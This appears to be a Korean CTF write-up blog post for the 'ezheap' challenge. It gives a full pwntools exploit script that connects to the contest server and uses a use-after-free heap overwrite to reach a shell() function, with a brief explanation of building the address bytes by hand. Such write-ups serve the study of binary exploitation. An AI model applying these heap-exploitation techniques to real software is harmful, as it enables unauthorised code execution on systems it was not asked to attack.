Profile

youngsouk

youngsouk

[dimi_ctf]ezheap

from pwn import *

#p = process('./ezheap')
p = remote('ctf.dimigo.hs.kr', 15039)

context.log_level="debug"

def add(a,b):
	p.recv()
	p.sendline('1')

	p.recv()
	p.sendline(str(a))

	p.recv()
        p.sendline(str(b))

def vie(a):
	p.recv()
	p.sendline('3')
	p.recv()
	p.sendline(str(a))

def edit(a,b):
	p.recv()
        p.sendline('2')

        p.recv()
        p.sendline(str(a))

        p.recv()
        p.sendline(b)

def fr(a):
	p.recv()
	p.sendline('4')
	p.sendline(str(a))

add(1,0x50)
add(2,0x50)

fr(2)
fr(1)

add(3,0x18)
payload = 'a' * 16 + chr(0x60) +chr(0x0d) + chr(0x40)
edit(3,payload)
pause()
vie('2')

p.interactive()

https://youngsouk-hack.tistory.com/21

 

[hack-ctf] uaf

from pwn import * #p = process('./uaf') p = remote('ctf.j0n9hyun.xyz', 3021) context.log_level="debug" def add_note(size, content): p.recv() p.sendline('1') p.recv() p.sendline(size) p.recv() p.send..

youngsouk-hack.tistory.com

여기서 했던 uaf랑 비슷한 방법으로 익스를 하면 된다. 다만 우리가 실행시킬 shell()의 함수의 주소를 입력할 때 p64()를 통해 리틀엔디언으로 바꾸어주면 enter키가 버퍼에 남아있어 메뉴가 실행될 때 나가진다. 따라서 우리가 직접 리틀엔디언으로 바꾸어줌으로서 프로그램이 안나가지고 살아있는다.

'CTF write-up' 카테고리의 다른 글

Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]  (0) 2019.08.25
[hackingcamp2019]camp_note  (0) 2019.08.25
[dimi_ctf]ropasaurusrex2  (0) 2019.07.15